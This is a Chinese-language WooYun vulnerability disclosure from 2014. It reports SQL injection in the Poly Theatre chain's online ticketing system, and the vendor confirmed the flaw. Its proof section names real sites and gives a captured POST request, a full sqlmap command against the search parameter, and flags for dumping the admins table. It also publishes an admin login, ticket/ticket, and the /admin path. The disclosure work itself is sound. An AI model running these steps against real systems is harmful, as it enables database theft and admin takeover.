当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063627

漏洞标题：保利院线剧院在线购票系统存在SQL注入

相关厂商：北京保利剧院管理有限公司

漏洞作者： 路人甲

提交时间：2014-06-09 18:40

修复时间：2014-09-07 18:42

公开时间：2014-09-07 18:42

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-09： 细节已通知厂商并且等待厂商处理中
2014-06-14： 厂商已经确认，细节仅向厂商公开
2014-06-17： 细节向第三方安全合作伙伴开放
2014-08-08： 细节向核心白帽子及相关领域专家公开
2014-08-18： 细节向普通白帽子公开
2014-08-28： 细节向实习白帽子公开
2014-09-07： 细节向公众公开

简要描述：

由买票网开发，北京保利剧院管理有限公司拥有的保利院线剧院存在SQL注入

详细说明：

保利院线剧院在线购票系统存在SQL注入，并由SQL注入获得管理员账户ticket/ticket,该账户可登陆各地多数在线购票系统。
进行SQL注入测试的站点为深圳保利剧院http://www.polytheatresz.com/
后台地址/admin
可以利用ticket/ticket登录至少三分之二的系统
院线列表
深圳保利剧院http://www.polytheatresz.com/
中山公园音乐堂http://www.fcchbj.com/
北京保利剧院http://www.polytheatre.com/
东莞玉兰大剧院http://www.dgyldjy.com/
好吧，太多了，不一一列举了
打开http://www.polytheatre.com/页面最右侧有一个列表

漏洞证明：

利用burpsuit抓取搜索功能数据包

so.PNG


如下

POST /search HTTP/1.0
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.polytheatre.com/
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
Pragma: no-cache
Content-Length: 43
DNT: 1
Host: www.polytheatre.com
Cookie: CAKEPHP=44556eb6a428c2c4e17c3176e40dfafe; Hm_lpvt_379698617606d30579f949cb2614239d=1401934328; Hm_lvt_379698617606d30579f949cb2614239d=1401933320,1401933432
performance_name=xx&days=%E9%80%89%E6%8B%A9


sqlmap注入参数

sqlmap -r /root/baoli --dbms=mysql --level=3 -p"performance_name" --tamper=between --string="\u627e\u4e0d\u5230\u548c\u60a8\u7684\u67e5\u8be2\uff0c\u8bf7\u68c0\u67e5\u8f93\u5165\u5b57\u8bcd\u6709\u65e0\u9519\u8bef\u3002"


注入结果

baoli.png


获取管理员账户和密码的参数为
首先获取当前库名：--current-db
然后dump：--dump -T"admins" -D"库名“

55144DE9-FA66-4966-AC4D-F1916FE8655B.png


修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-06-14 09:45

厂商回复：

最新状态：

暂无